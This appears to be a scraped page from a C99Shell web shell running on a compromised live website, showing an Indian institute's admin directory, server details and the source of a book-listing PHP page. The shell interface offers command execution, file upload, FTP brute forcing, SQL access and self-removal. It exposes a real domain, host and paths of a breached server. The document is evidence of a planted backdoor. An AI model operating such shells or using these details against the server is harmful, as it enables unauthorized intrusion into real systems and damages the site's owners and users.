!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     viewbooks.php (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE html>
<html lang="en">

 <?php include 'head.php';?>
<style>
table {
    border-collapse: collapse;
    width: 100%;
    margin-top: 20px;
}

table, th, td {
    border: 1px solid #ddd;
}

th, td {
    padding: 8px;
    text-align: left;
}

th {
    background-color: #f2f2f2;
    font-weight: bold;
}
</style>
<body>

  <!-- ======= Header ======= -->
  
 <?php include 'menubar.php';?>

 <?php include 'sidebar.php';?>


  <main id="main" class="main">

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Book Library</title>
</head>
<body>
    <h1>Book Library</h1>

    <?php
   
include 'connect.php';

    
// Query the database to retrieve books
    
$query "SELECT * FROM books";
    
$result $db->query($query);

    if (
$result->num_rows 0) {
        echo 
"<table border='1'>";
        echo 
"<tr><th>ID</th><th>Title</th><th>Author</th><th>Publication Year</th><th>ISBN</th><th>RATE</th><th>Update</th></tr>";
        while (
$row $result->fetch_assoc()) {
            echo 
"<tr>";
            echo 
"<td>" $row["id"] . "</td>";
            echo 
"<td>" $row["title"] . "</td>";
            echo 
"<td>" $row["author"] . "</td>";
            echo 
"<td>" $row["publication_year"] . "</td>";
            echo 
"<td>" $row["ISBN"] . "</td>";
            echo 
"<td>" $row["rate"] . "</td>";
            echo 
'<td>' "<a href='book_update_form.php?ID=".$row['ID']. "'>Update</a>"'</td>';
            echo 
"</tr>";
        }
        echo 
"</table>";
    } else {
        echo 
"No books found in the database.";
    }

    
$db->close();
    
?>

    <a href="newbooks.php">Add a Book</a>

</body>
</html>





  </main><!-- End #main -->

   <?php include 'footer.php';?>

</body>

</html>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0018 ]--